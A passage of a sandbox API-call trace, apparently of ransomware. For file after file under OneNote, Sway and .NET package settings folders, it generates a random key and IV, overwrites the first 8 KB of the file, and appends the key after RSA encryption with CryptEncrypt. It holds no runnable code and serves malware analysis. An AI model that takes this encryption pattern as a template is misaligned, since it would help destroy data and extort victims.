(hObject=0xee8) returned 1 [0159.100] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0159.100] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0159.100] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.100] ReadFile (in: hFile=0xee8, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.110] SetFilePointer (in: hFile=0xee8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.111] WriteFile (in: hFile=0xee8, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.111] SetFilePointer (in: hFile=0xee8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.111] WriteFile (in: hFile=0xee8, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.112] WriteFile (in: hFile=0xee8, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.112] CloseHandle (hObject=0xee8) returned 1 [0159.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0159.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.114] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.114] ReadFile (in: hFile=0xee8, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.124] SetFilePointer (in: hFile=0xee8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.124] WriteFile (in: hFile=0xee8, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.124] SetFilePointer (in: hFile=0xee8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.125] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.125] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.125] WriteFile (in: hFile=0xee8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.125] WriteFile (in: hFile=0xee8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.125] CloseHandle (hObject=0xee8) returned 1 [0159.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0159.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0159.127] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.128] ReadFile (in: hFile=0xee8, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.128] SetFilePointer (in: hFile=0xee8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.128] WriteFile (in: hFile=0xee8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.128] SetFilePointer (in: hFile=0xee8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.128] WriteFile (in: hFile=0xee8, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.129] WriteFile (in: hFile=0xee8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.129] CloseHandle (hObject=0xee8) returned 1 [0159.131] WriteFile (in: hFile=0xef0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.132] CloseHandle (hObject=0xef0) returned 1 [0159.133] WriteFile (in: hFile=0xef0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.134] CloseHandle (hObject=0xef0) returned 1 [0159.135] WriteFile (in: hFile=0xef0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.136] CloseHandle (hObject=0xef0) returned 1 [0159.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0159.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0159.136] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.137] ReadFile (in: hFile=0xf04, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.137] SetFilePointer (in: hFile=0xf04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.137] WriteFile (in: hFile=0xf04, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.137] SetFilePointer (in: hFile=0xf04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.137] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.137] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.138] WriteFile (in: hFile=0xf04, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.138] WriteFile (in: hFile=0xf04, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.139] CloseHandle (hObject=0xf04) returned 1 [0159.140] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0159.140] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0159.140] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.140] ReadFile (in: hFile=0xf04, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.147] SetFilePointer (in: hFile=0xf04, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.147] WriteFile (in: hFile=0xf04, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.148] SetFilePointer (in: hFile=0xf04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.148] WriteFile (in: hFile=0xf04, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.148] WriteFile (in: hFile=0xf04, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.149] CloseHandle (hObject=0xf04) returned 1 [0159.150] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0159.150] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.150] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.151] ReadFile (in: hFile=0xf04, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.157] SetFilePointer (in: hFile=0xf04, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.157] WriteFile (in: hFile=0xf04, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.158] SetFilePointer (in: hFile=0xf04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.158] WriteFile (in: hFile=0xf04, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.159] WriteFile (in: hFile=0xf04, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.159] CloseHandle (hObject=0xf04) returned 1 [0159.172] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0159.172] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0159.172] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.172] ReadFile (in: hFile=0xf04, lpBuffer=0x5c3468, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.172] SetFilePointer (in: hFile=0xf04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.172] WriteFile (in: hFile=0xf04, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.172] SetFilePointer (in: hFile=0xf04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.173] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.173] WriteFile (in: hFile=0xf04, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.174] WriteFile (in: hFile=0xf04, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.174] CloseHandle (hObject=0xf04) returned 1 [0159.177] WriteFile (in: hFile=0xf10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.180] CloseHandle (hObject=0xf10) returned 1 [0159.180] WriteFile (in: hFile=0xf10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.181] CloseHandle (hObject=0xf10) returned 1 [0159.181] WriteFile (in: hFile=0xf10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.182] CloseHandle (hObject=0xf10) returned 1 [0159.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0159.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0159.183] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.183] ReadFile (in: hFile=0xf24, lpBuffer=0x5c3548, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.183] SetFilePointer (in: hFile=0xf24, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.184] WriteFile (in: hFile=0xf24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.184] SetFilePointer (in: hFile=0xf24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.184] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.184] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.184] WriteFile (in: hFile=0xf24, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.185] WriteFile (in: hFile=0xf24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.185] CloseHandle (hObject=0xf24) returned 1 [0159.187] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0159.187] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0159.187] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.187] ReadFile (in: hFile=0xf24, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.192] SetFilePointer (in: hFile=0xf24, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.192] WriteFile (in: hFile=0xf24, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.192] SetFilePointer (in: hFile=0xf24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.193] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.193] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.193] WriteFile (in: hFile=0xf24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.193] WriteFile (in: hFile=0xf24, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.193] CloseHandle (hObject=0xf24) returned 1 [0159.195] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0159.195] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0159.195] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.195] ReadFile (in: hFile=0xf24, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.205] SetFilePointer (in: hFile=0xf24, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.205] WriteFile (in: hFile=0xf24, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.205] SetFilePointer (in: hFile=0xf24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.205] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.205] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.206] WriteFile (in: hFile=0xf24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.206] WriteFile (in: hFile=0xf24, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 